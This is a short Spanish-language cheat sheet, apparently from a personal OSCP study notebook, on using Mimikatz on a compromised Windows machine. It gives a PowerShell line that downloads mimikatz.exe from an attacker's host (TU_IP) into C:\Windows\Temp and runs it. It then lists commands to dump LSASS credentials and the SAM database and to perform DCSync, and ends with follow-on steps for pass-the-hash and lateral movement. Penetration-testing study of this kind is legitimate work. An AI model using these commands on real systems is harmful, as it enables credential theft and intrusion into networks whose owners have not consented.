# Mimikatz

> Un **.exe que corre DENTRO de la víctima Windows** (no en Kali). Lee la memoria de **LSASS** y vuelca credenciales. En `tu carpeta`.

## Subir y ejecutar
```powershell
iwr http://TU_IP/mimikatz/x64/mimikatz.exe -OutFile C:\Windows\Temp\m.exe   # Transferencia de ficheros
C:\Windows\Temp\m.exe
```

## Comandos clave (dentro de mimikatz)
```
privilege::debug                         # imprescindible primero
sekurlsa::logonpasswords                 # hashes NTLM, tickets, a veces pass en claro (wdigest)
lsadump::sam                             # SAM local
lsadump::dcsync /user:Administrator      # DCSync (si tienes permisos de replicación)
```

## Requisito
Necesitas ser **admin/SYSTEM** en la máquina (Privesc Windows / Potato attacks).

## Después
- Hash NTLM → Pass-the-Hash / Impacket → Movimiento lateral.
- Pregúntale a BloodHound qué hacer con ese usuario.

Relacionado: Kerberos · secretsdump · OSCP MOC